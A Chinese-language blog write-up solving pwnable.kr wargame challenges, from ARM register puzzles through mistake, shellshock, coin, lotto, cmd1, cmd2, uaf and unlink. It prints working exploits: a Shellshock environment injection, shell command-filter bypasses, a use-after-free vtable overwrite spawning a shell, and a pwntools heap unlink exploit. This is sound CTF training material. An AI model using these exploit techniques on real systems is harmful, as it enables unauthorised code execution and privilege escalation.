    ARM寄存器结构小记 http://blog.csdn.net/qq_19550513/article/details/62044295

    所以 R0 = R3 = 0x00008cdc + 8 = 0x00008ce4

    • 看key2():
    (gdb) disass key2
    Dump of assembler code for function key2:
       0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008cf4 <+4>: add r11, sp, #0
       0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
       0x00008cfc <+12>:    add r6, pc, #1
       0x00008d00 <+16>:    bx  r6
       0x00008d04 <+20>:    mov r3, pc
       0x00008d06 <+22>:    adds    r3, #4
       0x00008d08 <+24>:    push    {r3}
       0x00008d0a <+26>:    pop {pc}
       0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
       0x00008d10 <+32>:    mov r0, r3
       0x00008d14 <+36>:    sub sp, r11, #0
       0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008d1c <+44>:    bx  lr
    End of assembler dump.
    

    bx r6在r6地址处切换成thumb模式。在thumb模式下pc = 当前地址+4。
    r0 =r3 = 0x00008d04 +4+4= 0x00008d0c

    (gdb) disass key3
    Dump of assembler code for function key3:
       0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008d24 <+4>: add r11, sp, #0
       0x00008d28 <+8>: mov r3, lr
       0x00008d2c <+12>:    mov r0, r3
       0x00008d30 <+16>:    sub sp, r11, #0
       0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008d38 <+24>:    bx  lr
    End of assembler dump.
    (gdb) 
    

    r0等于lr即key3()函数的返回地址0x00008d80。

    这三个数相加后结果为 0x0001a770 = 108400(d) 。

    My daddy has a lot of ARMv5te muscle!

    0x09 mistake

    #include <stdio.h>
    #include <fcntl.h>
    
    #define PW_LEN 10
    #define XORKEY 1
    
    void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
            s[i] ^= XORKEY;
        }
    }
    
    int main(int argc, char* argv[]){
        
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
            printf("can't open password %d\n", fd);
            return 0;
        }
    
        printf("do not bruteforce...\n");
        sleep(time(0)%20);
    
        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
            printf("read error\n");
            close(fd);
            return 0;       
        }
    
        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);
    
        // xor your input
        xor(pw_buf2, 10);
    
        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
            printf("Password OK\n");
            system("/bin/cat flag\n");
        }
        else{
            printf("Wrong Password\n");
        }
    
        close(fd);
        return 0;
    }
    
    
    • 关键在于:

    fd=open("/home/mistake/password",O_RDONLY,0400) < 0

    • < 优先级高于赋值优先级,open("/home/mistake/password",O_RDONLY,0400) 肯定大于0,比较之后fd=0,相当于从标准输入中读取

    输入000000000,fd指向的内容,然后输入1111111111,与逐位与1异或后,结果是0000000000,得到flag: Mommy, the operator priority always confuses me :(

    0x10 shellshock

    #include <stdio.h>
    int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
    }
    
    • 其中:
    1. int setreuid(uid_t ruid, uid_t euid);

    setreuid()用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。

    1. gid_t getegid(void);

    getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

    简单来说呢就是设置了下以后使用system函数打开的bash所属当前进程的组,会继承当前的这个环境变量

    shellshock@ubuntu:~$ ls -al
    total 980
    drwxr-x---  5 root shellshock       4096 Oct 23  2016 .
    drwxr-xr-x 80 root root             4096 Jan 11 23:27 ..
    -r-xr-xr-x  1 root shellshock     959120 Oct 12  2014 bash
    d---------  2 root root             4096 Oct 12  2014 .bash_history
    -r--r-----  1 root shellshock_pwn     47 Oct 12  2014 flag
    dr-xr-xr-x  2 root root             4096 Oct 12  2014 .irssi
    drwxr-xr-x  2 root root             4096 Oct 23  2016 .pwntools-cache
    -r-xr-sr-x  1 root shellshock_pwn   8547 Oct 12  2014 shellshock
    -r--r--r--  1 root root              188 Oct 12  2014 shellshock.c
    
    -r-xr-sr-x  1 root shellshock_pwn   8547 Oct 12  2014 shellshock
    -r--r-----  1 root shellshock_pwn     47 Oct 12  2014 flag
    

    我们注意到这个shellsock和flag属于一个用户组,所以说使用当前这个可执行文件就可以cat到flag的内容,所以我们构造输入:

    • shellshock中文来说就是破壳漏洞,就是由于用户可以控制环境变量参数,然后在新打开的shell中会把一些环境变量参数当作命令来执行。
    env x='() { :;}; /bin/cat flag' ./shellshock
    
    only if I knew CVE-2014-6271 ten years ago..!!
    Segmentation fault
    

    0x11 coin

    ubuntu@VM-74-222-ubuntu:~$ nc pwnable.kr 9007
    
        ---------------------------------------------------
        -              Shall we play a game?              -
        ---------------------------------------------------
        
        You have given some gold coins in your hand
        however, there is one counterfeit coin among them
        counterfeit coin looks exactly same as real coin
        however, its weight is different from real one
        real coin weighs 10, counterfeit coin weighes 9
        help me to find the counterfeit coin with a scale
        if you find 100 counterfeit coins, you will get reward :)
        FYI, you have 30 seconds.
        
        - How to play - 
        1. you get a number of coins (N) and number of chances (C)
        2. then you specify a set of index numbers of coins to be weighed
        3. you get the weight information
        4. 2~3 repeats C time, then you give the answer
        
        - Example -
        [Server] N=4 C=2    # find counterfeit among 4 coins with 2 trial
        [Client] 0 1        # weigh first and second coin
        [Server] 20         # scale result : 20
        [Client] 3          # weigh fourth coin
        [Server] 10         # scale result : 10
        [Client] 2          # counterfeit coin is third!
        [Server] Correct!
    
        - Ready? starting in 3 sec... -
    

    100组30秒,在它的服务器上运行,主要是考察网络编程

        # coding: utf-8  
        from socket import*  
        import random  
        import time  
        HOST='0.0.0.0'  
        PORT=9007  
        #建立socket对象  
        client=socket(AF_INET,SOCK_STREAM)  
        #AF_INET表示将使用标准的ipv4地址或主机名  
        #SOCK_STREAM说明这是一个TCP客户端  
              
        client.connect((HOST,PORT))#连接  
        data = client.recv(1024)  
        time.sleep(4)  
        for i in range(100):  
            data = client.recv(1024)#接收数据  
            int_cnt=data.find('N=')+2 #int_cnt用于找到N,C  
            N=0  
            C=0  
            while True:       
                N+=int(data[int_cnt])  
                int_cnt+=1  
                if data[int_cnt]==' ':  
                    break  
                N*=10  
            int_cnt=data.find('C=')+2  
            while True:       
                C+=int(data[int_cnt])  
                int_cnt+=1  
                if data[int_cnt]<'0' :  
                    break  
                if data[int_cnt]>'9' :  
                    break  
                C*=10  
            print 'get N=%d'%N,'get C=%d'%C#打印N,C  
            left=0  
            right=N-1  
            mid=(left+right)/2#二分  
            for i in xrange(C):#C次询问   
                str_ask=[str(n) for n in xrange(left,mid+1)]  
                str_ask=" ".join(str_ask)#构造要询问的硬币  
                client.send(str_ask+"\n")#发送数据  
                str_weight=client.recv(1024)#接收数据  
                str_weight.split("\n")  
                int_weight=int(str_weight)  
                print "int_weight = ",int_weight,"l=%d mid=%d r=%d"%(left,mid,right)  
                if int_weight!=((mid-left+1)*10):  
                    right=mid  
                    mid=(right+left)/2  
                else:  
                    left=mid+1  
                    mid=(left+right)/2  
            client.send(str(mid)+"\n")  
            ans=client.recv(1024)  
            print "ans=",ans  
        ans=client.recv(1024)#flag  
        print "ans=%s"%ans      
        client.close()    
        
    

    flag:b1NaRy_S34rch1nG_1s_3asy_p3asy

    0x12 blackjack

    一个类似于21点的游戏,关键点在

    int betting() //Asks user amount to bet
    {
     printf("\n\nEnter Bet: $");
     scanf("%d", &bet);
     
     if (bet > cash) //If player tries to bet more money than player has
     {
            printf("\nYou cannot bet more money than you have.");
            printf("\nEnter Bet: ");
            scanf("%d", &bet);
            return bet;
     }
    

    要求达到100w的赌资,我们直接传进去一个-100w,故意输就好

    flag:YaY_I_AM_A_MILLIONARE_LOL

    0x13 lotto

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    
    unsigned char submit[6];
    
    void play(){
        
        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);
    
        int r;
        r = read(0, submit, 6);
    
        printf("Lotto Start!\n");
        //sleep(1);
    
        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
            printf("error. tell admin\n");
            exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
            printf("error2. tell admin\n");
            exit(-1);
        }
        for(i=0; i<6; i++){
            lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
        }
        close(fd);
        
        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
            for(j=0; j<6; j++){
                if(lotto[i] == submit[j]){
                    match++;
                }
            }
        }
    
        // win!
        if(match == 6){
            system("/bin/cat flag");
        }
        else{
            printf("bad luck...\n");
        }
    
    }
    
    void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
    }
    
    int main(int argc, char* argv[]){
    
        // menu
        unsigned int menu;
    
        while(1){
    
            printf("- Select Menu -\n");
            printf("1. Play Lotto\n");
            printf("2. Help\n");
            printf("3. Exit\n");
    
            scanf("%d", &menu);
    
            switch(menu){
                case 1:
                    play();
                    break;
                case 2:
                    help();
                    break;
                case 3:
                    printf("bye\n");
                    return 0;
                default:
                    printf("invalid menu\n");
                    break;
            }
        }
        return 0;
    }
    
    

    /dev/urandom中读取6个字节,这个文件是Linux下根据系统熵产生的随机数,然后后边的操作实际上是限定了assic <=45,并且lotto的6个数值都相等,尝试即可得到答案。

    flag: sorry mom... I FORGOT to check duplicate numbers... :(

    0x14 cmd1

    #include <stdio.h>
    #include <string.h>
    
    int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
    }
    int main(int argc, char* argv[], char** envp){
        putenv("PATH=/fuckyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
    }
    
    

    main 函数所进行的操作是首先把环境变量设置为/fuckyouverymuch,导致/bin/下的命令无法直接使用

    strstr(str1,str2)是指的是判断str2是否是str1的子串,是的话返回首次出现的位置,否则返回null

    所以就是说不能包含flag sh tmp等字符,但是可以考虑使用星号来补全,我们提交./cmd1 "/bin/cat fla*"

    flag:mommy now I get what PATH environment is for :)

    0x15 cmd2

    #include <stdio.h>
    #include <string.h>
    
    int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
    }
    
    extern char** environ;
    void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
    }
    
    int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
    }
    
    

    路径cd到根目录,使用pwd得到/,加一个“$”,而且最外面加一个单引号,作用是在传递的时候告诉程序这是一个单一字符串,不能解释里面的内容。否则在传参阶段就被解释,在filter哪里就会被滤掉了。

    cmd2@ubuntu:/$ ./home/cmd2/cmd2  '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""' 
    ""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""
    FuN_w1th_5h3ll_v4riabl3s_haha
    
    

    0x16 uaf

    #include <fcntl.h>
    #include <iostream> 
    #include <cstring>
    #include <cstdlib>
    #include <unistd.h>
    using namespace std;
    
    class Human{
    private:
        virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
        int age;
        string name;
    public:
        virtual void introduce(){
            cout << "My name is " << name << endl;
            cout << "I am " << age << " years old" << endl;
        }
    };
    
    class Man: public Human{
    public:
        Man(string name, int age){
            this->name = name;
            this->age = age;
            }
            virtual void introduce(){
            Human::introduce();
                    cout << "I am a nice guy!" << endl;
            }
    };
    
    class Woman: public Human{
    public:
            Woman(string name, int age){
                    this->name = name;
                    this->age = age;
            }
            virtual void introduce(){
                    Human::introduce();
                    cout << "I am a cute girl!" << endl;
            }
    };
    
    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    
        size_t len;
        char* data;
        unsigned int op;
        while(1){
            cout << "1. use\n2. after\n3. free\n";
            cin >> op;
    
            switch(op){
                case 1:
                    m->introduce();
                    w->introduce();
                    break;
                case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
                    cout << "your data is allocated" << endl;
                    break;
                case 3:
                    delete m;
                    delete w;
                    break;
                default:
                    break;
            }
        }
    
        return 0;   
    }
    
    • UAF: (Use After Free 漏洞)

    UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

    • UAF错误的原因:

    (1)导致程序出错和发生异常的各种条件
    (2)程序负责释放内存的指令发生混乱
    其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为悬空指针)

    • UAF漏洞的利用:

    (1)先搞出来一个悬空指针
    (2)精心构造数据填充被释放的内存区域
    (3)再次使用该指针,让填充的数据使eip发生跳转。

    • 堆的特性

    在回收掉一个block后,如果新的malloc大小比之前的block小或者恰好相等,那么堆会优先分配最近一次free的block给malloc。因此,这里只需要malloc也就是new的字段大小恰好登录Human的大小,就能够成功的改写其中的内容。

    ---- 整体思路是这样的:

    1.首先调用delete函数释放掉两个对象的空间
    2.然后使用传给main函数的argv参数,分配空间给新的函数
    3.用give_shell函数去覆盖掉introduce()的地址,选择选项1,可得到shell。

    首先查看虚表中函数的地址:


    image

    发现 introduce(0000000000401598) = give_shell(0000000000401590) + 8

    查看main函数为两个human对象分配了多少空间:


    image

    分配了24字节,这样的话我们等会构造也用24字节

    • 我们可以看到这两个创建的对象的虚表指针,他们的虚函数表都是继承自父类,并且重写了introduce方法,这里我们使用0x401570这个地址,这个地址实际上是虚表的指针,初始指向虚表的首项,而后边红色的地址则是这个虚函数实际的地址:
      image
    • 我们可以看到调用introduce函数的时候实际上时使用了eax+8来指向虚表中的地址,eax本来存的是0x401570这个地址,那么我们构造的时候,只需要把introduce这个函数的地址复写为give_shell函数的地址即可,,所以我们使用0x401570-8来构造(0x401568)


      image

    我猜测图中的两个giveshell函数的虚表指针分别是属于创建的两个对象的,我们无论用哪个都可以。

    delete m;
    delete w;
    
    m->introduce();
    w->introduce();
    

    我们注意到delete的顺序是先m后w,所以最先分配的是w释放的地址,然后再分配m,但是调用的时候我们是先调用m,再调用w,所以就需要free后两次分配空间。即可得到shell。

    python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > in
    
    root@kali:/home/uaf# ./uaf 24 ./in
    3
    2
    2
    1
    #
    

    flag:yay_f1ag_aft3r_pwning

    0X20 unlink

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
    }OBJ;
    
    void shell(){
        system("/bin/sh");
    }
    
    void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
    }
    int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    
        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;
    
        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);
    
        // exploit this unlink!
        unlink(B);
        return 0;
    }
    
    • 典型的unlink利用,但是unklink之后并没有调用函数,和经典的用shell code去覆盖写free@got表不同,查看反汇编代码:
    Dump of assembler code for function main:
       0x0804852f <+0>: lea    ecx,[esp+0x4]
       0x08048533 <+4>: and    esp,0xfffffff0
       0x08048536 <+7>: push   DWORD PTR [ecx-0x4]
       0x08048539 <+10>:    push   ebp
       0x0804853a <+11>:    mov    ebp,esp
       0x0804853c <+13>:    push   ecx
       0x0804853d <+14>:    sub    esp,0x14
       0x08048540 <+17>:    sub    esp,0xc
       0x08048543 <+20>:    push   0x400
       0x08048548 <+25>:    call   0x80483a0 <malloc@plt>
       0x0804854d <+30>:    add    esp,0x10
       0x08048550 <+33>:    sub    esp,0xc
       0x08048553 <+36>:    push   0x10
       0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
       0x0804855a <+43>:    add    esp,0x10
       0x0804855d <+46>:    mov    DWORD PTR [ebp-0x14],eax
       0x08048560 <+49>:    sub    esp,0xc
       0x08048563 <+52>:    push   0x10
       0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
       0x0804856a <+59>:    add    esp,0x10
       0x0804856d <+62>:    mov    DWORD PTR [ebp-0xc],eax
       0x08048570 <+65>:    sub    esp,0xc
       0x08048573 <+68>:    push   0x10
       0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
       0x0804857a <+75>:    add    esp,0x10
       0x0804857d <+78>:    mov    DWORD PTR [ebp-0x10],eax
       0x08048580 <+81>:    mov    eax,DWORD PTR [ebp-0x14]
       0x08048583 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
       0x08048586 <+87>:    mov    DWORD PTR [eax],edx
       0x08048588 <+89>:    mov    edx,DWORD PTR [ebp-0x14]
       0x0804858b <+92>:    mov    eax,DWORD PTR [ebp-0xc]
       0x0804858e <+95>:    mov    DWORD PTR [eax+0x4],edx
       0x08048591 <+98>:    mov    eax,DWORD PTR [ebp-0xc]
       0x08048594 <+101>:   mov    edx,DWORD PTR [ebp-0x10]
       0x08048597 <+104>:   mov    DWORD PTR [eax],edx
       0x08048599 <+106>:   mov    eax,DWORD PTR [ebp-0x10]
       0x0804859c <+109>:   mov    edx,DWORD PTR [ebp-0xc]
    ---Type <return> to continue, or q <return> to quit---
       0x0804859f <+112>:   mov    DWORD PTR [eax+0x4],edx
       0x080485a2 <+115>:   sub    esp,0x8
       0x080485a5 <+118>:   lea    eax,[ebp-0x14]
       0x080485a8 <+121>:   push   eax
       0x080485a9 <+122>:   push   0x8048698
       0x080485ae <+127>:   call   0x8048380 <printf@plt>
       0x080485b3 <+132>:   add    esp,0x10
       0x080485b6 <+135>:   mov    eax,DWORD PTR [ebp-0x14]
       0x080485b9 <+138>:   sub    esp,0x8
       0x080485bc <+141>:   push   eax
       0x080485bd <+142>:   push   0x80486b8
       0x080485c2 <+147>:   call   0x8048380 <printf@plt>
       0x080485c7 <+152>:   add    esp,0x10
       0x080485ca <+155>:   sub    esp,0xc
       0x080485cd <+158>:   push   0x80486d8
       0x080485d2 <+163>:   call   0x80483b0 <puts@plt>
       0x080485d7 <+168>:   add    esp,0x10
       0x080485da <+171>:   mov    eax,DWORD PTR [ebp-0x14]
       0x080485dd <+174>:   add    eax,0x8
       0x080485e0 <+177>:   sub    esp,0xc
       0x080485e3 <+180>:   push   eax
       0x080485e4 <+181>:   call   0x8048390 <gets@plt>
       0x080485e9 <+186>:   add    esp,0x10
       0x080485ec <+189>:   sub    esp,0xc
       0x080485ef <+192>:   push   DWORD PTR [ebp-0xc]
       0x080485f2 <+195>:   call   0x8048504 <unlink>
       0x080485f7 <+200>:   add    esp,0x10
       0x080485fa <+203>:   mov    eax,0x0
       0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
       0x08048602 <+211>:   leave  
       0x08048603 <+212>:   lea    esp,[ecx-0x4]
       0x08048606 <+215>:   ret    
    End of assembler dump.
    

    可以看到A在stack上的位置ebp-0x14,而利用的关键点在与最后的ret指令,思路是可以通过unlink操作,将shellcode写入stack上特定的位置,使得ret指令执行后就执行shellcode。

    • 首先我们看到ret之前lea esp,[ecx-0x4]而ecx=ebp-0x4,DWORD PTR []表示[]里面的数据是一个双字型数据,比如mov eax, dword ptr [12345678] 把内存地址12345678中的双字型(32位)数据赋给eax.所以stack A和要控制到的位置差了0x10
    • 32bit下,指针类型大小是4字节,A的结构为FD(4)BK(4)BUF(8),所以shellcode的地址设置为heap A + 8,又因为esp = ecx - 4
    Stack: 
     
    | low 
    |
    | stack A(ebp-0x14)
    | 
    | ecx - 0x4  // ebp-0x04处的值再减去0x04=esp,ret执行此处代码 
    | ebp - 0x4 (ecx) // 把ebp-0x04处的32位值赋给ecx
    | ebp
    |
    | high
    
    • 所以shellcode+4+4的地址 = ebp-0x04处的值, 由于是unlink的B
    • unlink() 所作的就是:
    1. (B->fd)->bk=B->bk
    2. (B->bk)->fd=B->fd

    因为 OBJ 结构体的第一个成员就是fd,所以上式

    ```
    *(*B+4) = *(B+4) 
    **(B+4) = *B 
    ```   
    

    如果要利用unlink来覆盖返回地址,则B的布局应该是这样的

    +-------------------+-------------------+
    |stack[return addr] |     addr shell    |
    +-------------------+-------------------+
    |               padding                 |
    +---------------------------------------+
    

    这样在执行B->fd->bk = B->bk就完成了覆盖main的返回地址。But,执行B->bk->fd = B->fd这一段的时候,[addr shell]则会落入不可读写的地址,造成程序段错误。

    如果覆盖后的B的fd是stack + 12,bk是heap+8,在执行unlink操作的时候会把heap+8处覆盖为栈上的内容从而覆盖掉shellcode的地址

    • A的栈位置+0x10=[ebp-0x4]=ecx=shellcode+0x4=(A的堆位置+0x8)+0x4=A的堆位置+0xC
    +-------------------+-------------------+  <- heap addr[A]
    |        FD         |        BK         |
    +-------------------+-------------------+  <- [A->buf]
    |     shell addr    |      AAAA         |
    +---------------------------------------+
    |              AAAAAAAA                 |
    +---------------------------------------+  <- [B]
    |     heap + 12     |     stack + 16    |
    +-------------------+-------------------+
    

    EXP:

    from pwn import *
    
    shell_addr = 0x080484eb
    s = ssh(host='pwnable.kr',
    port=2222,
    user='unlink',
    password='guest',
    )
    
    p =s.process('./unlink')
    p.recvuntil('here is stack address leak: ')
    stack_addr = int(p.recv(10),16)
    p.recvuntil('here is heap address leak: ')
    heap_addr = int(p.recv(10),16)
    payload = p32(shell_addr) + 'a'*12 +p32(heap_addr + 12) +p32(stack_addr+0x10)
    p.send(payload)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:pwnable.kr 题解一

        本文链接:https://www.haomeiwen.com/subject/pnlvqftx.html